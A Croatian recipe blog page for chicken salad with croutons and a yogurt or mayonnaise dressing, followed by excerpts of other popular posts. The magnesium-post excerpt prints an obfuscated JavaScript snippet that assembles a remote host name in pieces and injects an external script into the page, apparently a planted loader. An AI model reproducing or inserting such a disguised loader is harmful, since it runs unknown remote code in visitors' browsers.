PILEĆA SALATA S HRSKAVIM KRUTONIMA I KREMASTIM DRESINGOM 🥗 🐔




Pileća salata s hrskavim krutonima i kremastim dresingom 



Ako tražite lagan, brz i zasitan obrok za tople dane, ova pileća salata dobar je izbor. Hrskava zelena salata, pečena piletina, cherry rajčice, krutoni i kremasti dresing čine jednostavan ručak koji se priprema bez puno kompliciranja. Po želji se može dodati i poširano ili meko kuhano jaje.





Pileća salata s hrskavim krutonima i kremastim dresingom 


Sastojci:

  • 300 g pilećih prsa
  • 1 glavica rimske salate ili druge hrskave zelene salate
  • 10 cherry rajčica
  • 2 fete starog kruha
  • 1 jaje po osobi, po želji
  • 2 žlice maslinova ulja
  • sol
  • papar
  • malo slatke ili dimljene paprike
  • malo češnjaka u prahu ili jedan režanj svježeg češnjaka
  • šaka sjemenki bundeve ili kapara, po želji

Za dresing:

  • 3 žlice grčkog jogurta ili majoneze
  • 1 žličica senfa
  • 1 žlica limunova soka
  • 1 žlica maslinova ulja
  • 1 manji režanj češnjaka
  • 2 žlice ribanog parmezana
  • sol
  • papar



Priprema:

Pileća prsa posolite, popaprite i začinite paprikom te s malo češnjaka. Pecite ih na tavi s maslinovim uljem nekoliko minuta sa svake strane, dok ne dobiju lijepu boju i budu potpuno pečena. Ostavite ih nekoliko minuta da odmore, a zatim ih narežite na tanke ploške.

Kruh narežite na kockice, poškropite maslinovim uljem, lagano posolite i prepecite na suhoj tavi ili u pećnici dok ne postane hrskav.

Salatu operite, dobro posušite i narežite na veće komade. Cherry rajčice prerežite na polovice.

Za dresing pomiješajte grčki jogurt ili majonezu, senf, limunov sok, maslinovo ulje, sitno naribani češnjak i parmezan. Posolite i popaprite po ukusu. Ako je dresing pregust, dodajte žlicu vode.

U zdjelu stavite salatu, rajčice, piletinu i krutone. Prelijte dresingom, dodajte sjemenke bundeve ili kapare, a na vrh po želji stavite poširano ili meko kuhano jaje.


Savjet 

Za laganiju verziju koristite grčki jogurt umjesto majoneze. Ako želite konkretniji obrok, u salatu možete dodati malo kuhanog slanutka ili tjestenine. Najbolje ju je poslužiti odmah, dok su krutoni još hrskavi.

Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više